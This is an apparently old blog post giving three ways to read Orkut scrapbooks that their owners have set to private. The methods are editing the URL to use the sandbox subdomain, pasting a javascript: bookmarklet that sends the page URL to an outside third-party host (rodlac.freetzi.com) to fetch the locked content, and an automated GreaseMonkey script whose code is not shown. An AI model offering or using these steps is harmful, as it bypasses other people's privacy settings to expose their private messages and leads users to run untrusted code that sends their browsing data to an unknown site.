Here comes another blow to the orkut’s privacy features! This time scrapbook privacy has been compromised and considering 3 ways to do this it may take some time for orkut to revert back! What worsen things for orkut is that this bug is in orkuts sandbox - part of Googles much hyped newly launched Open Social Platform!
Say you are orkutting and bumped into a screen saying “This content has been set to private by the profile owner” when you click on a persons scrapbook! Also see following screenshot…
Now we have 3 ways read locked scrapbook!
#1. Orkut Sandbox
This will work only if if you have access to sandbox.
Note www in URL before orkut.com and just change it to sandbox!
So
http://www.orkut.com/scrapbook.aspx?uid=[some_num]
will become..
http://sandbox.orkut.com/scrapbook.aspx?uid=[some_num]
#2. JavaScript
A little javascript will redirect you to a page where unlocked scrapbook waiting for you. Just put following javascript code in browsers address/navigation bar and hit enter!
javascript:document.location='http://rodlac.freetzi.com/ViewScraps.php?uid='+encodeURIComponent(location.href);void(0)
You can also use following bookmarklet if your browse supports it!
#3. GreaseMonkey Script
If you want to read many locked scrapbooks then it will be better to automate this for once!
This will require firefox and GreaseMonkey.
